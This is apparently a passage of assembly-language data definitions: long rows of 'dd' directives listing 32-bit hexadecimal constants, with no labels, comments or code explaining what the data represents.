		dd 0C814A0A2h, 414389ECh, 905DC178h, 0F84C629h,	803F48D2h
		dd 0FD6ACC35h, 0C0007803h, 96953B85h, 7C08E0h, 0D66597C2h
		dd 0CB9FE360h, 2FD5BE02h, 60BBE204h, 3D8BC64h, 0AFDF1936h
		dd 0B6A8E01Bh, 4D0F203Ah, 0A08EC394h, 0A86DDA3Eh, 0D6ED39BDh
		dd 16810880h, 1BE32110h, 0BFC1EF0Bh, 0C6630E6Dh, 0AA0AEEh
		dd 7B695655h, 0BE7823C2h, 0CED4E00h, 5893911Dh,	3DF41754h
		dd 0F1310F34h, 5361D3A0h, 0AA00FA5Fh, 872F2CBEh, 0DA09B3h
		dd 0A696674Eh, 8C5C1537h, 39978600h, 0A819D320h, 2872008Eh
		dd 0D0540D92h, 340006A4h, 0F04D943Ah, 14FB23Dh,	0D94B83FAh
		dd 0F814B58Dh, 0BA00DAA2h, 766FCE77h, 0F0578522h, 0A0100F1Bh
		dd 31E09382h, 72D0C609h, 4F32010Fh, 76E10024h, 1D4CE56h
		dd 2C92D322h, 0DCEEC04Bh, 910E6F68h, 4016B6C3h,	94F5981Ch
		dd 25F230C4h, 0E31849E2h, 6BA62700h, 82D62364h,	67B11803h
		dd 1A5011EBh, 2965A700h, 0F4A16A25h, 82D81D9Bh,	99468179h
		dd 24BB2C16h, 2101F6A4h, 80DD1C1Dh, 4080E9C7h, 62273868h
		dd 8B1C7A30h, 3140A3A1h, 0AB9DF85Eh, 49C601ADh,	0DC5D6637h
		dd 6B29C4D2h, 1023562Eh, 0AD159302h, 331C488Ah,	0D9640102h
		dd 2EDC3EE2h, 202C2010h, 484E7900h, 47FF4BD1h, 0C687009Dh
		dd 0AE75674h, 7260ECEEh, 0A8269811h, 0D083009Bh, 0F4E7D9D5h
		dd 0E0EB339Eh, 3400050Fh, 8EC8A7B9h, 29F5C3h, 0E9E0E86Eh
		dd 0ABDCE428h, 811E5C3Dh, 100C5483h, 0ECD9EA7Bh, 701960h
		dd 47B1BB16h, 0FE2C4499h, 0D70A9F00h, 3FEC0FB7h, 0F190A083h
		dd 0C3D60E2Fh, 1A80F6E7h, 0E8DB89AAh, 222ED00h,	0C2B89838h
		dd 70120144h, 0D88A5D30h, 8B71E4B4h, 1BCF600h, 0C53CC66Ah
		dd 9A7A266Fh, 72D3002Ch, 0F5A12283h, 0FDDC4300h, 0C46294ABh
		dd 89D9C03Bh, 665C0D87h, 461FE100h, 0BF7D566Fh,	5DB3007Ah
		dd 0DBFC7B04h, 30ED1E7h, 6555D363h, 5BC00B9Dh, 1F3A9176h
		dd 0FD310126h, 0FA4BC000h, 0AD6CEAE0h, 73DCE500h, 79D58475h
		dd 0CAD705CBh, 0BA93BA26h, 0DD407A1Fh, 981716B4h, 9AD00DFh
		dd 0ED18BB2Fh, 10C0D2F0h, 0A59DAB89h, 0F69B010Fh, 2D114E05h
		dd 6024F8D3h, 2A864500h, 0FF9A9EC4h, 0A3FD0FD8h, 13A9ECh
		dd 0F0055A26h, 0BF00EDEEh, 0A4F47742h, 0C0A36401h, 0B7D47419h
		dd 9008B52Eh, 801B33A9h, 56CFFCACh, 0A7734A72h,	6E101E00h
		dd 0ED8F9EC3h, 190FAB7h, 993D0BEAh, 0E4C4A549h,	5900AD0Ch
		dd 18ECB2C1h, 7E4D557Bh, 90CD07DBh, 707913BDh, 7C886426h
		dd 5D3F0C98h, 3DDC1EE1h, 0E0A26B0Fh, 0A1B42671h, 907D7B1Bh
		dd 0F4D43F00h, 4079581Dh, 0D902B144h, 0C300F9F2h, 0A10E63D7h
		dd 9A1D3Dh, 6ADAEDAEh, 1491B1B9h, 9D681F00h, 0FFC0FBDFh
		dd 0F4BE002Eh, 3BB2EE21h, 0D00A3E5h, 2D019B95h,	709851A6h
		dd 5EBA00B9h, 0B73E6F0Ch, 1118DFE6h, 0CD281A7Fh, 0DC041CF0h
		dd 0FFDCA30h, 0FB2500D0h, 0A9242612h, 93662800h, 0A5D795FFh
		dd 0E6F9485Bh, 3EDEF800h, 0CEBF314Eh, 56288605h, 0C41E65DBh
		dd 2CCE62DEh, 7A722169h, 1DE0C5BDh, 30C071F8h, 387815D1h
		dd 0D700C156h, 0D9FCB09Eh, 5011EEh, 0DC342BDh, 35C0E04Ch
		dd 0F0038B8h, 335A926Ch, 2C3451h, 41A16304h, 2A42BC30h
		dd 7868E200h, 84D8C988h, 0B0910265h, 90715B1Ch,	9D006E3h
		dd 73005019h, 6847B28Eh, 0ECDC342Bh, 0CEB00B1h,	8FFFC1F6h
		dd 0E900D139h, 2D7C1929h, 90EA7768h, 15492EFh, 4D7223C4h
		dd 0FC2AC1E0h, 0A10018D2h, 0D87643EAh, 0E407D16h, 9FA9A31Dh
		dd 0DC911120h, 7301786Bh, 95CE0AC0h, 13CCCB3Bh,	9FE51FAEh
		dd 0E1694051h, 0FF65DEC8h, 50D26327h, 90D16060h, 0EAD83888h
		dd 2BE12800h, 1439C23Dh, 1533001Ch, 0F0C385B7h,	9C242C67h
		dd 901E5CEAh, 1D70C8FAh, 0BE806158h, 503F5604h,	0AB9700FDh
		dd 0ADFFDBBFh, 24B07AD2h, 7829C200h, 51491D5Bh,	6B6E1D2Fh
		dd 47380EAh, 56751C15h,	50AC6C00h, 231A5153h, 0B2220734h
		dd 8312ED43h, 1F83181h,	9205F41Fh, 45C26B61h, 98EBB00h
		dd 33A7CE4Bh, 51483833h, 295A188h, 18DB58h, 0FD875850h
		dd 4C1C367Fh, 7A1DB83Eh, 0F48DC5A0h, 0FCC8C319h, 6BF85D8h
		dd 7588CB50h, 0EBCF2F0Eh, 6E082013h, 2A59C1Fh, 55E0CA30h
		dd 0D4A03443h, 0B59BF593h
		dd 72DED050h, 18FB1F30h, 868466h, 946D73F8h, 3BFCCDF1h
		dd 0E8DA2700h, 4F0A53ADh, 0E6A0A032h, 0E62E846h, 0DEAB94D5h
		dd 82EF8A80h, 0DB022012h, 0F459BA47h, 4DF44062h, 608008Fh
		dd 54E8D28Eh, 86002531h, 0FE620B99h, 0CF5C0AFCh, 0CB43CF28h
		dd 0B5C0078Ah, 0FA03F3DBh, 9A64D6C8h, 9F23E05Eh, 68C43044h
		dd 0A8BFF31h, 65EE8F00h, 0C89CAADh, 0A5EEA9h, 90329C97h
		dd 0B4FE8D0Eh, 0C48E6407h, 0D4E07488h, 7540F975h, 1E730076h
		dd 0C67B02FCh, 6F1ED3E6h, 7FC0168Dh, 9768E0D5h,	658526A3h
		dd 92AB0080h, 32601321h, 0FD8BCB04h, 0A7C046D2h, 42E2CE5h
		dd 61B00D67h, 385CC394h, 81ED56E3h, 409E2950h, 57B990E0h
		dd 0AE1CAC0Fh, 9840BDF5h, 8F948CF0h, 87040085h,	243419BEh
		dd 3A610A9Bh, 0E0765748h, 12AF39E0h, 1BCF2862h,	48F8BC04h
		dd 52070782h, 0FF2B93CBh, 92CE60EFh, 0B0634DEDh, 6690C8h
		dd 0F67ABF9h, 0DF13F7Fh, 50C4B200h, 0EE242983h,	0C100052h
		dd 0EFF4DC77h, 0BB000EE5h, 9A81176Dh, 0D8DEF7h,	923637E8h
		dd 0CA614F19h, 0A2F3CC09h, 2FB020D7h, 775F94h, 2E7806D5h
		dd 0DE0AC739h, 6495D300h, 4AA1239Fh, 4CFE0032h,	37DEB41h
		dd 1C0ECC37h, 0C0D7B77Ah, 752881D3h, 0C67032Dh,	0E3470D1Ah
		dd 12E3CF8h, 31091700h,	652B6CF5h, 2DA60012h, 9572C037h
		dd 52097AEBh, 80CD3584h, 446ED864h, 6F020086h, 73994D6Bh
		dd 0E0001356h, 3CB1E9A3h, 1F3BEABDh, 8311C995h,	0AB523592h
		dd 70F001E5h, 0C41F8D09h, 6E0047BBh, 0EF2ADFC5h, 6B21E8h
		dd 5D564B04h, 8EEB9FEDh, 0ABA22F00h, 4D1C7638h,	0DC2124F7h
		dd 48F8008Ch, 463FBE43h, 0B500A13h, 0CE002C1Eh,	67048E82h
		dd 9A452426h, 54E00160h, 0F85338A9h, 0C63D0FACh, 996300EAh
		dd 30A2D0BBh, 3C7E03F5h, 0AFBC6C0Eh, 0B732F498h, 9FAD8200h
		dd 0C5599B46h, 5E78C050h, 6C58D12Eh, 814E2A00h,	6111386Ah
		dd 6E0F0021h, 0A41BC924h, 6B006590h, 1D821751h,	79C98F6h
		dd 0BBCFB627h, 0A968F009h, 4E006E62h, 5D108639h, 0B5ED5Ch
		dd 0A4E327CFh, 98CC12F6h, 0C9C12D00h, 3123109Ch, 69705C9Dh
		dd 4E51E300h, 0F0FD8CCFh, 5C574803h, 3F4EBA8h, 16ABB160h
		dd 0C0CD1220h, 973A1184h, 86742B00h, 2A1BFA09h,	8CE1039Ch
		dd 0B97DE60Eh, 95522088h, 7F355Ch, 0ECD39FA0h, 2E06FC9h
		dd 4FAB03FFh, 6CC06469h, 0F11F8608h, 0BA746Ch, 837E20F7h
		dd 7050476h, 97B57FEAh,	0BCC7503Eh, 4B9E5A6h, 0C31A5D00h
		dd 180E0Bh, 365809E0h, 0CA84670Ch, 0B4AC4606h, 7118DF23h
		dd 3DA40741h, 109E0188h, 0CEF3CF61h, 3DCAF4Ch, 0B810D112h
		dd 7C70D908h, 0F8E942DCh, 0A4AE002Ch, 62C0BEFFh, 0AF3EE2C4h
		dd 633E9D34h, 0A2018168h, 55AC90A6h, 9DF4AB1Fh,	2D2F01AEh
		dd 0C1422B06h, 0FCB73140h, 9374FC65h, 0B7C57402h, 608371D0h
		dd 240F91B4h, 3A1E9276h, 0C9B05083h, 79E8E843h,	7B003DC7h
		dd 1862E2A5h, 173419Bh,	3602EBD5h, 0CC39B994h, 660137C9h
		dd 0D0D4DE97h, 27E0A11Fh, 0DDB23732h, 0CD9C3150h, 1440805Dh
		dd 3BC23FBDh, 0B8B40073h, 99C02A5Fh, 0D5481BBCh, 3E5900E4h
		dd 7624378Bh, 57CA043h,	0DB51DE3h, 3927C3E2h, 3B98B206h
		dd 0F90796DCh, 83BE7E07h, 4495E9C0h, 308200F4h,	4733B6D2h
		dd 0E490C7A6h, 0BF246F07h, 0F542EDE8h, 0B48840CAh, 70C22C41h
		dd 354D09CCh, 7B13E400h, 24C3006h, 0E5279Bh, 98CAFE68h
		dd 7A94005Ch, 15E1B7D8h, 5D48796Ah, 0AA44006Bh,	5938FD47h
		dd 58E0639h, 506E1A14h,	70FE2007h, 46855FA4h, 45A6B820h
		dd 749E01CCh, 0C1D7412Eh, 4EC420BFh, 277D3C1Fh,	863F00BBh
		dd 71E4905Dh, 97CA0026h, 6C6B8B03h, 7E2472ABh, 0F8002259h
		dd 0DFBB7C34h, 9B5F0077h, 5320B0F3h, 0E200F5A0h, 28BA9F0Dh
		dd 38F86D15h, 5012446h,	0CC18C28Ah, 0A507D838h,	40B020FBh
		dd 483FCB1Dh, 3DB5BE00h, 5567491h, 57F26B43h, 0F028870Bh
		dd 0D2234268h, 20BEA405h, 0DFC00D51h, 62D8C3h, 40750C90h
		dd 1A3F1E89h, 5BBACA06h, 0ACA86Ah, 9F7CC92h, 1C0D1160h
		dd 208BE201h, 0C77A44B7h, 1E1E7CCh, 0F572B801h,	80613745h
		dd 33299811h, 0A44297h,	0DE0CB262h, 0FDBE1435h,	24036300h
		dd 28F1322Eh, 0C33600D9h, 7B0F2F97h, 0D71E47DCh, 0E007F383h
		dd 0E6827D56h, 0C9F5E2ADh, 23DC9B64h, 0A07513h,	55417ACh
		dd 3809887Dh, 2D3BBA0Bh, 8B508077h, 0BB5289Dh, 9B04B4CAh
		dd 2EBDEB86h, 1223E900h, 0FA6321C7h, 1D9800E6h,	65D07192h
		dd 1F1E1E62h, 2A00B0D2h, 8E7A5C09h, 0B43D00B3h,	0AF13682Dh
		dd 0DA1F96CCh, 79C380h,	0BC537EEEh, 0E242E6DBh,	2C1D002Ah
		dd 8B2108CDh, 0AC9433C8h, 1BBC208h, 0DCA9AA57h,	0A51087C3h
		dd 0B4C058E3h, 1DBD61CAh, 40382D94h, 3E452B34h,	28C70366h
		dd 0D90071FDh, 1E0D0570h, 0A7CA3F7Ch, 0A0213C04h, 4F123DC0h
		dd 82116Dh, 0F108C086h,	8D950376h, 0C7C848C5h, 0E09278B1h
		dd 5600FDA7h, 8B7718BBh, 0E73D12h, 300A400Fh, 0CB817BF8h
		dd 4F7A3202h, 40E98AF1h, 0C685Dh, 0F85F5584h, 0B280F724h
		dd 6008AB8h, 0D99796C1h, 6336DFh, 0E6EF48D0h, 304C4F57h
		dd 7F3AFC70h, 0EEAC802Dh, 455A4AD6h, 19F4A3h, 0CF945022h
		dd 496D5DADh, 82939200h, 0FA87FB66h, 795A0011h,	0EB5554DFh
		dd 6A002F90h, 0CFEFE29Ah, 725222h, 0A9C7E1CBh, 17C1373Dh
		dd 7CA53F03h, 0B8C8F518h, 7B01FBh, 0D8482764h, 6BDFB1B3h
		dd 0E3216A00h, 4BD90208h, 0C8920359h, 0B607E106h, 0C0C468C0h
		dd 0D6D57C00h, 37D836A7h, 9570F74Fh, 6590017h, 55C396D1h
		dd 0E30790FFh, 0FB625127h, 0A385860h, 0F7EC0048h, 11061AA1h
		dd 0ECEBE24Ah, 70E15FA9h, 9D01EE26h, 81990BECh,	0F4D0DBAFh
		dd 0B3470FD9h, 5BC473B6h, 9634F01Ch, 0A03897Bh,	0B88AA32Bh
		dd 7D61E822h, 1E667ECDh, 890508h, 0DA916C07h, 0C205DCDEh
		dd 0E84E7678h, 0E9E7F490h, 993B2577h, 3D3845DEh, 2F12007Ch
		dd 2DBEE5B2h, 5D1300EBh, 0C2AA0A8h, 83000940h, 0AAB2858Ch
		dd 8459D7h, 1EE3A154h, 0FBE8DDC7h, 7F470803h, 9C531458h
		dd 39A80B0h, 0F2F8A11Ch, 70A654EEh, 3C59B201h, 21730A7Fh
		dd 7E9860h, 567B42EFh, 0F25D89A0h, 0CE7B187Fh, 7BABE32Ch
		dd 7EC0D91Fh, 0C2842A96h, 0A50500CBh, 630DAD93h, 447D0F28h
		dd 0D0D5D300h, 0FA8FA4CCh, 0BADA0009h, 0AA29AD7h, 0C100F0E3h
		dd 2D2C90B3h, 943158h, 74D8FBC2h, 912E4F22h, 0D6F5DF00h
		dd 0E3B08F8Ah, 0B2C5000Ch, 1ECBC3B1h, 34003A86h, 9D4109BAh
		dd 0E84AFAh, 0D36A3299h, 0C766DB9Ch, 58260C38h,	721900C8h
		dd 0B4498B80h, 0AD5B008Ch, 88F19B01h, 7C000C5Fh, 57DA8456h
		dd 0C70B4563h, 99A36B10h, 8E7754C0h, 8643B100h,	0A50FD1FAh
		dd 0FEF93DACh, 9500B0BEh, 1143A18h, 0BF00BD72h,	1FBEC784h
		dd 16E10C79h, 0A8DDFA3Bh, 7E18023Bh, 0A1D6EDEBh, 54D78BD4h
		dd 488E98C9h, 0B7EA74h,	2F039C30h, 0FE062DCDh, 85AA8CAFh
		dd 979939C4h, 3B8942Ch,	1F4A18A1h, 3E90C3B8h, 6C0EF300h
		dd 88D54FD2h, 680867CFh, 119B1070h, 6800C3BCh, 4BD3DA6Dh
		dd 13AB172h, 0FE479F2h,	0C95B7E6Ah, 8218202Fh, 0D2AAAB00h
		dd 84B4EFBEh, 0F4C5002Ah, 245EA327h, 9B008E7Fh,	43EAB882h
		dd 0ABD22Dh, 4601EC9Fh,	7B0C4E94h, 4468D100h, 66CC3786h
		dd 91D703E9h, 0C74C3553h
		dd 72F480ECh, 0F3008FCAh, 1B091878h, 3C2776E0h,	7C001265h
		dd 2B73F432h, 0AA00145Fh, 0C674CE92h, 4CD2C397h, 8200E177h
		dd 0DD434BAFh, 2300E8D0h, 3FDE1B6h, 492D6E71h, 0D1000C1Ah
		dd 1D2B5C55h, 0E20092A1h, 78D3E5BFh, 24E81AE7h,	2CB94BB2h
		dd 9E0E8140h, 0C112C861h, 634180ACh, 23FD14BFh,	0D65A186Dh
		dd 79F5195Eh, 25FB9801h, 0E4261E9Eh, 868AE8h, 6D8216CBh
		dd 0B8E6C721h, 88F3041Ch, 0E5622A40h, 0F2BE8F8h, 96E42CB6h
		dd 0FC9000B6h, 7F0FB154h, 8EE430FDh, 0DE59DA0Ch, 7DA3683Ch
		dd 0A0D76011h, 8E1AF6D6h, 8062F328h, 0C800B67Eh, 36A6E3E2h
		dd 18CDC64Fh, 0D1ED61B3h, 18042686h, 31CB84A3h,	0FB0EE0C0h
		dd 0EAE900BEh, 89BCF7F6h, 0AC1FA7FEh, 0C7006301h, 96C5D332h
		dd 0E8DB00C4h, 7F91758Ah, 281EFB47h, 90026D42h,	60F7A704h
		dd 72B7A8h, 621D5A92h, 0AAE3D9D4h, 0DB3C1614h, 409A00D4h
		dd 0CDDE3096h, 74F212BCh, 0DAE883B0h, 0E817200Fh, 50AFA061h
		dd 0F78C09h, 29EE8EBFh,	2FAC2725h, 0FF906413h, 44CDE404h
		dd 2A937880h, 389A24BDh, 7C2D036Ch, 890FB82h, 0CE611335h
		dd 39A37158h, 90F1D0h, 548FB680h, 7C3B3D50h, 0E731830Ch
		dd 8A4165h, 0CFEB0280h,	5ABAEF95h, 0D32E9100h, 138FAC2Bh
		dd 8C601332h, 433800F1h, 279DB69Eh, 880F9A74h, 40EF3A2Ch
		dd 135036E2h, 781B0755h, 60CD5B45h, 0D735718Dh,	0AF5DA300h
		dd 93406BB6h, 2D7C0059h, 0AB85B1F2h, 6A073494h,	0C132A825h
		dd 8A049840h, 0F497002Ch, 0BFAB1EE0h, 4E09EB0Dh, 8061D5A3h
		dd 7A720CA8h, 54B13F53h, 0C102E70Fh, 629C50A0h,	88003D0Bh
		dd 0B868A9D8h, 0F3C5E4h, 13FB3C10h, 0E6DA9C89h,	0F0396900h
		dd 27922F0Dh, 4054E2CBh, 2C000BDFh, 66A0117h, 1D36130Ch
		dd 0C0381E72h, 30A37888h, 8F7B3EF4h, 0D5DEA507h, 63308AEBh
		dd 0FA6EEEF0h, 0B32F2CC1h, 0DE360CFAh, 8D00BB19h, 0C5FE26D8h
		dd 35E6A4Ch, 4AC8CDE3h,	60075924h, 81A210F2h, 0E95F27E3h
		dd 160931Ch, 0FB5800BCh, 2867CD51h, 0F20209ADh,	8FB14B76h
		dd 77306025h, 72EC18EDh, 26984881h, 4C9C5425h, 52482490h
		dd 7660023Ah, 48508E08h, 1235E624h, 0E00E42Ah, 12EC5A25h
		dd 1E3D660h, 0DC5CA761h, 80E232ACh, 481AF49h, 2F1865h
		dd 556419A4h, 0FF07A530h, 40EE1500h, 0D060FA58h, 0CEAB0194h
		dd 229CF2DEh, 0ACE0F275h, 2700F12Dh, 39FAD6CCh,	51A6E46h
		dd 9EC63A55h, 0C4348048h, 0F9E2229Ah, 354188A0h, 0E19CE900h
		dd 3803D424h, 9DCC178Dh, 0E46403B7h, 0D1A2050Ch, 0B4AAF080h
		dd 693EAEF6h, 0AF25031Ah, 0B0AB5236h, 70567Dh, 31CCE38Eh
		dd 0B6D39ABAh, 0D137100h, 0B5087FBEh, 5EF0EFEDh, 30B86A96h
		dd 0E0900924h, 484198B0h, 0DDDA6900h, 46F93AC2h, 394F0074h
		dd 0BEC4A7CEh, 0BD1C18FEh, 128351E3h, 0F09557EFh, 48D87DEAh
		dd 6D1CB472h, 1F03CE3Fh, 0AEE2780h, 0DA05BDC2h,	399B9110h
		dd 0A7893C80h, 63A81EA0h, 0B41E87B9h, 586170F9h, 8C98ECC0h
		dd 0A00B7E2h, 0E4655D16h, 2D677E8h, 73521BB3h, 98F2AE92h
		dd 130FAD70h, 60C17080h, 0EE3116Ch, 0BE77008Bh,	0E1175EB5h
		dd 7218033Dh, 76A0AA9Dh, 259F000Dh, 49C8CF56h, 0DC0051F5h
		dd 2B13863Ah, 902697CAh, 0F82E2668h, 0A9F10033h, 0D2CCC657h
		dd 7C403E48h, 648B4600h, 1D672177h, 82B825h, 980B1DDh
		dd 0E92D7DB5h, 0E69F6F00h, 79675868h, 0C0CA48F7h, 9B34000h
		dd 3457220Bh, 3824995Ch, 70EB7768h, 10033F5h, 0A70278CBh
		dd 130C454h, 0FA287383h, 0D29E3DE3h, 0B39A9448h, 34530184h
		dd 45E4F3Eh, 0A67860B1h, 0B50F0607h, 2375C493h,	0C24A4480h
		dd 0E2C9854h, 0EEFD5AFEh, 0A45C1EA2h, 9DE0345Ch, 0EE946619h
		dd 0D5273FAAh, 3B18F300h, 0C371041Dh, 6CF66FFEh, 68CA3Bh
		dd 52AA28A4h, 939A15h, 0AE50426Dh, 0EEC9C0Ch, 0BB24950h
		dd 0C6440F00h, 5FE1EEB7h, 0CB2A0268h, 1F15E30Ch, 92E7E380h
		dd 1076DC3h, 0F552A8F8h, 0D6F0CE20h, 4E4700E5h,	851D2812h
		dd 0F4020679h, 0B1B33522h, 37F8E499h, 731DF3Fh,	720B7083h
		dd 3E268D28h, 3508EC30h, 6C5140B3h, 960004D6h, 4E42E0CDh
		dd 0BC3A785h, 0F8D275CBh, 6331B080h, 8D300779h,	54BB10F9h
		dd 0AF71EDEh, 35B2C205h, 446017E4h, 78F4C208h, 0C0819F64h
		dd 0CB0070A8h, 0B3EEFA2Ah, 0F200A532h, 76D85B5h, 1CE0CA37h
		dd 40CF0152h, 11A81CD8h, 0D41C4135h, 66822881h,	7A4EE813h
		dd 2AB10EDCh, 7540CBDDh, 1EFA659h, 4E005AE6h, 61EC4BB3h
		dd 0D8EE5Fh, 0F340B10Bh, 4AE26C0Ch, 0EA4E1D02h,	0C0BF71F9h
		dd 275C97A8h, 0D830E816h, 4100BBE0h, 7C5F1AA4h,	64647h
		dd 0F196DEFCh, 0B2E19914h, 73D11000h, 25EE541Eh, 7E19FED3h
		dd 0D23A003Bh, 0D783E9Ah, 291383A6h, 800BECD9h,	0C778A779h
		dd 0C3625040h, 953B00D7h, 731A914Eh, 0EF007D66h, 64A14079h
		dd 4ADEA7h, 2807D89Ch, 5350A075h, 0CCA25C3Dh, 7D6B0BE8h
		dd 431400DFh, 7A32E87Bh, 0BFF316C5h, 0C0AA1F92h, 9708165Bh
		dd 0CA507856h, 1E0CA4A4h, 881AB8D2h, 267306h, 9B0A2580h
		dd 0D3944E76h, 0FACA8D18h, 15452920h, 8C305F0Eh, 7BB821Fh
		dd 1044490Dh, 8B7BC7Dh,	0E63EC809h, 39403D8h, 91558084h
		dd 0BA720073h, 2009DC16h, 1104237Eh, 0B72BA098h, 2C5170F4h
		dd 0E10B3BFh, 0E501931Ah, 0CCBB625Ah, 0F7B874C5h, 0E94318B6h
		dd 0FB96F0A3h, 28BC0025h, 5D4D60F6h, 0B72EAA26h, 1E007CE7h
		dd 39ACA32Eh, 5F1F0B6Fh, 8155AD1Ah, 0ED43C08Ch,	0B326080h
		dd 3AEE7662h, 160D3CB0h, 40E4107Fh, 0E0DF8FD6h,	6F925DD1h
		dd 0D323001Ah, 0B1B03159h, 0E403A814h, 2A2E7F10h, 3DC6B92Bh
		dd 130E430h, 6399C67h, 0E0461A6Dh, 0D55CF84Eh, 5B700084h
		dd 7A110AA2h, 2151D25h,	0FE8ECE8Dh, 8028A704h, 0FFC6EEE2h
		dd 249FF116h, 10ED0800h, 0C1CB6E1h, 0D05E0F8Dh,	686EDECEh
		dd 0A17203C0h, 1CDFB836h, 331B0A56h, 0F0D665h, 5397FDA5h
		dd 0F7005D48h, 9E2CAABCh, 59C550h, 781CC621h, 0DDD72255h
		dd 2B74703h, 0D0AAFB44h, 0BC4534h, 9E284301h, 5FD23654h
		dd 0BD5A5B12h, 68009416h, 23EDE8B3h, 0AF4502F6h, 180FF569h
		dd 93994E8h, 0EC706016h, 0A81A70C0h, 25587429h,	0DC400C5Bh
		dd 0CB67FD6Bh, 0C96144A0h, 0D9DCCEF3h, 309287h,	27ADA5AFh
		dd 2EE74B93h, 7D88F31Dh, 0ACE05FD2h, 2F037ABEh,	7020F0C1h
		dd 0E5F49D8Eh, 44574900h, 5A6DBDCDh, 0D3DA001Bh, 0EF09A4C0h
		dd 0D201D02Bh, 0D75121DEh, 0F040644Dh, 4EDB25h,	2F43F5E5h
		dd 8C887723h, 78FE8F0Fh, 0D02A0ABh, 0B00FDC6Fh,	33BB0014h
		dd 9467C735h, 132C4BA5h, 0A40088A2h, 0EAD31B84h, 30C0A06Eh
		dd 0ECFA48FBh, 0E483FD01h, 2048923Eh, 0A27B8FB0h, 0E2CD5625h
		dd 0D42C681Ch, 8E170BF4h, 0A0E0B0E2h, 5330C96Fh, 1C8C21FBh
		dd 51320023h, 61544A49h, 8916CEE0h, 231E0792h, 20CA8E80h
		dd 0F7A90B8h, 76676832h, 0D0C97940h, 0FE02C8ABh, 7D81E1DCh
		dd 42F8E877h, 9AAF0785h, 5BB55512h, 1E130880h, 1819EEE3h
		dd 0E5A38A8h, 25D6D4h, 0AD0C7361h, 94B32C09h, 2FF86760h
		dd 0F4717Eh, 157337CAh,	4EB401A7h, 0A6056E00h, 861BB62Bh
		dd 30FB073Eh, 20DF92DDh, 0B1BB1745h, 95757C09h,	6304E0A2h
		dd 40E081F6h, 0E4B49AF6h, 3E987900h, 0EB2F7473h, 0A75B3D83h
		dd 40DC0798h, 6A3C1592h
		dd 54C0CE11h, 38744E17h, 0BE93F1BFh, 630C9067h,	8A00D0A7h
		dd 71397C52h, 1C7A01B4h, 809B67C5h, 69B66F03h, 655C0F8Ch
		dd 2EBA0B1Ch, 83C80E46h, 2363175h, 0BC24CD19h, 0F76026A8h
		dd 2D009CC6h, 0A0305E92h, 755301A4h, 7D678C2h, 22DC5675h
		dd 0B339F150h, 0BE9AF834h, 6A994Ch, 0AC8D7086h,	16194993h
		dd 0D6235Ch, 6387DEECh,	6A03C22Ch, 0F707DFFCh, 1F70E8EDh
		dd 0AF054C0Fh, 347E0E00h, 6E27FB7h, 713D500h, 620877C0h
		dd 9E0D0F8Ah, 2F232E9Fh, 0FCF1C2AAh, 1EE06B70h,	989660D9h
		dd 2257EFDFh, 9C84F628h, 67D76902h, 40A90451h, 0E08E50h
		dd 0B2F4F55h, 0EA814A77h, 0C564AA00h, 0CCD11D4Bh, 0C75A0359h
		dd 563E4670h, 0E27BBE90h, 0AD91730Eh, 0D966A7C6h, 108076A4h
		dd 3059A3E1h, 3C1125E3h, 0AD02734Ch, 0E877C1BDh, 37F84010h
		dd 245600C4h, 4E7EFB86h, 5DF2EF6Dh, 96E80300h, 0C7BFAC09h
		dd 75D60089h, 4F25AB94h, 0E330A67Bh, 704A107Ah,	0EE600266h
		dd 0CBBBB03Dh, 0C9865441h, 0BD36D805h, 657C48h,	0BE17DEF8h
		dd 7B18E2h, 0C4C7B3C1h,	5B3C38DBh, 0C59E8100h, 69113361h
		dd 3DBF2412h, 0A73B3F94h, 0FB3CB23Ah, 0C10BD49Eh, 8F5EDDBh
		dd 9D62D48Bh, 1D1C2D73h, 0AB09EFC0h, 36180464h,	0E2EAD0A0h
		dd 1F101E5h, 3E396CDEh,	0D520807Bh, 41D77859h, 3DFE3EC6h
		dd 5D80FAB8h, 0EDC7D357h, 906304Ch, 0C3DBBEC5h,	5B2216E8h
		dd 3433007Fh, 0D23D9396h, 0D33B5200h, 1875E497h, 0C7590076h
		dd 15CD3532h, 841C49B9h, 94409804h, 0A25688FFh,	30F10F80h
		dd 0D2211406h, 0F932F773h, 6B6FE8DBh, 0C7E8EA03h, 11D5CDh
		dd 0CE33FB30h, 0A9DC604h, 0B99830Fh, 0B31D4051h, 4006E1h
		dd 7BE4738Eh, 46CB3D81h, 0B191DA00h, 8DA3F458h,	50219FAFh
		dd 0C49CA10Ah, 9D0091F0h, 555CAC6Ch, 2244053h, 43A77B0Dh
		dd 765632h, 66078900h, 0ED50A9h, 0AB09C2D6h, 537B1AE5h
		dd 0F5A64207h, 19C0A2CFh, 5A45AFh, 0D238882Bh, 0B0A13644h
		dd 40402F59h, 4998CC2h,	0E9BC0D00h, 17417E6h, 71D2B0C6h
		dd 34E13D8Fh, 8A01BAB4h, 0B42EDC29h, 58642739h,	359F0075h
		dd 0BBE8C91Bh, 7F16D00Dh, 54436D0Ch, 0D19B468Ch, 9874C190h
		dd 0DC80028h, 8E6B1584h, 50982D8Bh, 0C212981Eh,	570210DDh
		dd 53BD0472h, 0D880BB38h, 78E1B9C5h, 5628091Ah,	0C200E88Ah
		dd 3080F7C9h, 0F420D2C0h, 0AC1918FFh, 157CB96Ah, 0C69B300h
		dd 75E6F922h, 1B5200B0h, 0CB5E4378h, 38B2C921h,	0D6F5C811h
		dd 0E106DA3Bh, 19D18A6Bh, 96E0B000h, 0EAB4EB6Eh, 7D341783h
		dd 520CFE6Fh, 5CC482F3h, 0E000903Dh, 4F68715Fh,	8B7423A9h
		dd 646105E6h, 6F5C1436h, 1F408461h, 285F85E0h, 0A2444Ch
		dd 429CC38Fh, 0E64D8B54h, 848180A7h, 0F661CB14h, 50BE180h
		dd 6E80554Eh, 87A08A00h, 13F0B926h, 44271F31h, 7DED80C2h
		dd 61D0F2A1h, 696D426h,	14DCF101h, 6080EA66h, 92E8E4CCh
		dd 0DE0F9834h, 6023E622h, 286B3D38h, 0B2C71F33h, 9F5240B1h
		dd 9C8821E8h, 84E06809h, 0F17870BAh, 0A79AF4h, 2FF0310Ch
		dd 29AA2D24h, 0FD927100h, 81C7EBE9h, 0B0EBF73h,	5EBE00BFh
		dd 2AD067DCh, 0D2FCA100h, 0AF3E1279h, 76272B0h,	0E4C287B1h
		dd 2BE54159h, 42782035h, 2F0040E2h, 75F02133h, 6FBD00Bh
		dd 726238EAh, 2900A8EEh, 0F565E09Dh, 60F86C54h,	0AC1678C3h
		dd 0FEA441Dh, 5DA72103h, 0A02DA290h, 3F15E237h,	7000B741h
		dd 19EE27A0h, 43009CA8h, 0ACA2A126h, 90FC673Ah,	0C8EC004Ch
